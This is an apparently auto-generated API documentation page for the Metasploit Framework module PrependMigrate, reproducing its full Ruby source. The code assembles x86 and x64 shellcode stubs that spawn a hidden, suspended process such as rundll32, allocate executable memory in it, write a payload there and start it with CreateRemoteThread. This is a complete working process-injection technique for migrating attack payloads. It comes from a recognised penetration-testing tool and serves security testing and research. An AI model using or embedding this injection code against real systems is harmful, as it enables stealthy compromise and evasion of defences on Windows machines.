Module: Msf::Payload::Windows::PrependMigrate

Included in:
Msf::Payload::Windows
Defined in:
lib/msf/core/payload/windows/prepend_migrate.rb

Overview

This mixin provides support for generating PrependMigrate blocks for Windows payloads

Instance Method Summary collapse

Instance Method Details

#apply_prepend_migrate(buf) ⇒ Object

Overload the generate() call to prefix our stubs



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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 36

def apply_prepend_migrate(buf)
  pre = ''

  test_arch = [ *(self.arch) ]

  if prepend_migrate?
    # Handle all x86 code here
    if test_arch.include?(ARCH_X86)
      migrate_asm = prepend_migrate(buf)
      pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
    # Handle all x64 code here
    elsif test_arch.include?(ARCH_X64)
      migrate_asm = prepend_migrate_64(buf)
      pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
    end
  end
  return pre + buf
end

#initialize(info = {}) ⇒ Object

Initialize



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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 13

def initialize(info = {})
  ret = super( info )

  register_advanced_options(
    [
      Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
      Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
    ], Msf::Payload::Windows )
  ret
end

#prepend_migrate(buf) ⇒ Object

Create assembly



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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 58

def prepend_migrate(buf)
  payloadsize = "0x%04x" % buf.length
  procname = datastore['PrependMigrateProc'] || 'rundll32'

  # Prepare instructions to get address of block_api into ebp
  block_api_start = <<-EOS
    call start
  EOS
  block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi)
  block_api_asm = block_api_obj.asm_block_api

  # Prepare default exit block (sleep for a long long time)
  exitblock = %Q^
    ;sleep
    push -1
    push #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")}           ; hash( "kernel32.dll", "Sleep" )
    call ebp                  ; Sleep( ... );
  ^
  
  # Check to see if we can find exitfunc in the payload
  exitfunc_block_asm = %Q^
  exitfunk:
    mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")}    ; The EXITFUNK as specified by user... kernel32.dll!ExitThread
    push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")}        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye       ; Then just call the exit function...
    cmp bl, 0xE0            ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")}    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThreadgoodbye:                 ; We now perform the actual call to the exit function
  goodbye:  
    push 0x0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^
  exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::Ia32.new, exitfunc_block_asm).encode_string
  exitfunc_index = buf.index(exitfunc_block_blob)
  if exitfunc_index
    exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
    exitblock = "exitblock:\njmp $+#{exitblock_offset}"
  end

  block_api_ebp_asm = <<-EOS
    pop ebp                   ; Pop off the address of 'api_call' for calling later.
  EOS
  block_close_to_payload = ''

  # Check if we can find block_api in the payload
  block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string
  block_api_index = buf.index(block_api)
  if block_api_index

    # Prepare instructions to calculate address
    ebp_offset = "0x%04x" % (block_api_index + 5)
    block_api_ebp_asm = <<-EOS
      jmp close_to_payload
    return_from_close_to_payload:
      pop ebp
      add ebp, #{ebp_offset}
    EOS
    # Clear now-unneeded instructions
    block_api_asm = ''
    block_api_start = ''
    block_close_to_payload = <<-EOS
    close_to_payload:
      call return_from_close_to_payload
    EOS
  end

  #put all pieces together
  migrate_asm = <<-EOS
    cld                       ; Clear the direction flag.
    #{block_api_start}
    #{block_api_asm}
  start:
    #{block_api_ebp_asm}
    ; get our own startupinfo at esp+0x60
    add esp,-400              ; adjust the stack to avoid corruption
    lea edx,[esp+0x60]
    push edx
    push #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")}           ; hash( "kernel32.dll", "GetStartupInfoA" )
    call ebp                  ; GetStartupInfoA( &si );

    lea eax,[esp+0x60]        ; Put startupinfo pointer back in eax

    jmp getcommand
    gotcommand:
    pop esi                   ; esi = address of process name (command line)

    ; create the process
    lea edi,[eax+0x60]        ; Offset of empty space for lpProcessInformation
    push edi                  ; lpProcessInformation : write processinfo here
    push eax                  ; lpStartupInfo : current info (read)
    xor ebx,ebx
    push ebx                  ; lpCurrentDirectory
    push ebx                  ; lpEnvironment
    push 0x08000004           ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
    push ebx                  ; bInHeritHandles
    push ebx                  ; lpThreadAttributes
    push ebx                  ; lpProcessAttributes
    push esi                  ; lpCommandLine
    push ebx                  ; lpApplicationName

    push #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")}           ; hash( "kernel32.dll", "CreateProcessA" )
    call ebp                  ; CreateProcessA( &si );

    ; if we didn't get a new process, use this one
    test eax,eax
    jz payload                ; If process creation failed, jump to shellcode

  goodProcess:
    ; allocate memory in the process (VirtualAllocEx())
    ; get handle
    push 0x40                 ; RWX
    add bh, 0x10              ; ebx = 0x1000
    push ebx                  ; MEM_COMMIT
  EOS

  if buf.length > 4096
    # probably stageless, so we don't have shellcode size constraints,
    # and so we can just set ebx to the size of the payload
    migrate_asm << <<-EOS
    mov ebx, #{payloadsize} ; stageless size
    EOS
  end

  migrate_asm << <<-EOS
    push ebx                  ; size
    xor ebx,ebx
    push ebx                  ; address
    push [edi]                ; handle
    push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" )
    call ebp                  ; VirtualAllocEx( ...);

    ; eax now contains the destination
    ; WriteProcessMemory()
    push esp                  ; lpNumberOfBytesWritten
    push #{payloadsize}       ; nSize
    ; pick up pointer to shellcode & keep it on stack
    jmp begin_of_payload
    begin_of_payload_return:  ; lpBuffer
    push eax                  ; lpBaseAddress
    push [edi]                ; hProcess
    push #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" )
    call ebp                  ; WriteProcessMemory( ...)

    ; run the code (CreateRemoteThread())
    push ebx                  ; lpthreadID
    push ebx                  ; run immediately
    push ebx                  ; no parameter
    mov ecx,[esp-0x4]
    push ecx                  ; shellcode
    push ebx                  ; stacksize
    push ebx                  ; lpThreadAttributes
    push [edi]
    push #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" )
    call ebp                  ; CreateRemoteThread( ...);

    #{exitblock}              ; jmp to exitfunc or long sleep

  getcommand:
    call gotcommand
    db "#{procname}"
    db 0x00
  #{block_close_to_payload}
  begin_of_payload:
    call begin_of_payload_return
  payload:
  EOS
  migrate_asm
end

#prepend_migrate? ⇒ Boolean

Returns the state of the PrependMigrate option See github.com/rapid7/metasploit-framework/pull/917 for discussion.

Returns:

  • (Boolean) 


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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 29

def prepend_migrate?
  datastore['PrependMigrate']
end

#prepend_migrate_64(buf) ⇒ Object 



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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 231

def prepend_migrate_64(buf)
  payloadsize = "0x%04x" % buf.length
  procname = datastore['PrependMigrateProc'] || 'rundll32'

  # Prepare instructions to get address of block_api into ebp
  block_api_start = <<-EOS
    call start
  EOS
  block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi_x64)
  block_api_asm = block_api_obj.asm_block_api

  # Prepare default exit block (sleep for a long long time)
  exitblock = <<-EOS
    ;sleep
    xor rcx,rcx
    dec rcx                   ; rcx = -1
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")}      ; hash( "kernel32.dll", "Sleep" )
    call rbp                  ; Sleep( ... );
  EOS

  exitfunc_block_asm = %Q^
  exitfunk:
    mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")}   ; The EXITFUNK as specified by user...
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")}  ; hash( "kernel32.dll", "GetVersion" )
    call rbp              ; GetVersion(); (AL will = major version and AH will = minor version)
    add rsp, 40           ; cleanup the default param space on stack
    cmp al, 0x6           ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye            ; Then just call the exit function...
    cmp bl, 0xE0          ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye           ;
    mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")}   ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                ; We now perform the actual call to the exit function
    push 0x0              ;
    pop rcx               ; set the exit function parameter
    mov r10d, ebx         ; place the correct EXITFUNK into r10d
    call rbp              ; call EXITFUNK( 0 );
  ^
  # Check to see if we can find x64 exitfunc in the payload
  
  exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_block_asm).encode_string
  exitfunc_index = buf.index(exitfunc_block_blob)
  if exitfunc_index
    exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
    exitblock = "exitblock:\njmp $+#{exitblock_offset}"
  end

  block_api_rbp_asm = <<-EOS
    pop rbp                   ; Pop off the address of 'api_call' for calling later.
  EOS
  block_close_to_payload = ''

  # Check if we can find block_api in the payload
  block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
  block_api_index = buf.index(block_api)
  if block_api_index

    # Prepare instructions to calculate address
    rbp_offset = "0x%04x" % (block_api_index + 5)
    block_api_rbp_asm = <<-EOS
      jmp close_to_payload
    return_from_close_to_payload:
      pop rbp
      add rbp, #{rbp_offset}
    EOS
    # Clear now-unneeded instructions
    block_api_asm = ''
    block_api_start = ''
    block_close_to_payload = <<-EOS
    close_to_payload:
      call return_from_close_to_payload
    EOS
  end

  #put all pieces together
  migrate_asm = <<-EOS
    cld                       ; Clear the direction flag.
    #{block_api_start}
    #{block_api_asm}
  start:
    #{block_api_rbp_asm}
    ; get our own startupinfo at esp+0x60
    add rsp,-400              ; adjust the stack to avoid corruption
    lea rcx,[rsp+0x30]
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")}       ; hash( "kernel32.dll", "GetStartupInfoA" )
    call rbp                  ; GetStartupInfoA( &si );

    jmp getcommand
  gotcommand:
    pop rsi                   ; rsi = address of process name (command line)

    ; create the process
    push 0                    ; keep the stack aligned
    lea rdi,[rsp+0x120]       ; Offset of empty space for lpProcessInformation
    push rdi                  ; lpProcessInformation : write processinfo here
    lea rcx,[rsp+0x60]
    push rcx                  ; lpStartupInfo : current info (read)
    xor rcx,rcx
    push rcx                  ; lpCurrentDirectory
    push rcx                  ; lpEnvironment
    push 0x08000004           ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
    push rcx                  ; bInHeritHandles
    mov r9, rcx               ; lpThreadAttributes
    mov r8, rcx               ; lpProcessAttributes
    mov rdx, rsi              ; lpCommandLine
    ; rcx is already zero     ; lpApplicationName
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")}      ; hash( "kernel32.dll", "CreateProcessA" )
    call rbp                  ; CreateProcessA( &si );

    ; if we didn't get a new process, use this one
    test rax,rax
    jz payload                ; If process creation failed, jump to shellcode

  goodProcess:
    ; allocate memory in the process (VirtualAllocEx())
    ; get handle
    push 0x40                 ; RWX
    mov r9,0x1000             ; 0x1000 = MEM_COMMIT
  EOS

  if buf.length > 4096
    # probably stageless, so we don't have shellcode size constraints,
    # and so we can just set r8 to the size of the payload
    migrate_asm << <<-EOS
    mov r8, #{payloadsize} ; stageless size
    EOS
  else
    # otherwise we'll just reuse r9 (4096) for size
    migrate_asm << <<-EOS
    mov r8,r9                 ; size
    EOS
  end

  migrate_asm << <<-EOS
    xor rdx,rdx               ; address
    mov rcx, [rdi]            ; handle
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")}       ; hash( "kernel32.dll", "VirtualAllocEx" )
    call rbp                  ; VirtualAllocEx( ...);

    ; eax now contains the destination - save in ebx
    mov rbx, rax              ; lpBaseAddress
    ; WriteProcessMemory()
    push rsp                  ; lpNumberOfBytesWritten
    mov r9, #{payloadsize}    ; nSize
    ; pick up pointer to shellcode & keep it on stack
    jmp begin_of_payload
    begin_of_payload_return:
    pop r8                    ; lpBuffer
    mov rdx, rax              ; lpBaseAddress
    mov rcx, [rdi]            ; hProcess
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")}      ; hash( "kernel32.dll", "WriteProcessMemory" )
    call rbp                  ; WriteProcessMemory( ...);

    ; run the code (CreateRemoteThread())
    xor rcx, rcx              ; rdx = 0
    push rcx                  ; lpthreadID
    push rcx                  ; run immediately
    push rcx                  ; no parameter
    mov r9,rbx                ; shellcode
    mov r8, rcx               ; stacksize
    ;rdx already equals 0     ; lpThreadAttributes
    mov rcx, [rdi]
    mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")}      ; hash( "kernel32.dll", "CreateRemoteThread" )
    call rbp                  ; CreateRemoteThread( ...);

    #{exitblock}              ; jmp to exitfunc or long sleep

  getcommand:
    call gotcommand
    db "#{procname}"
    db 0x00
  #{block_close_to_payload}
  begin_of_payload:
    call begin_of_payload_return
  payload:
  EOS
  migrate_asm
end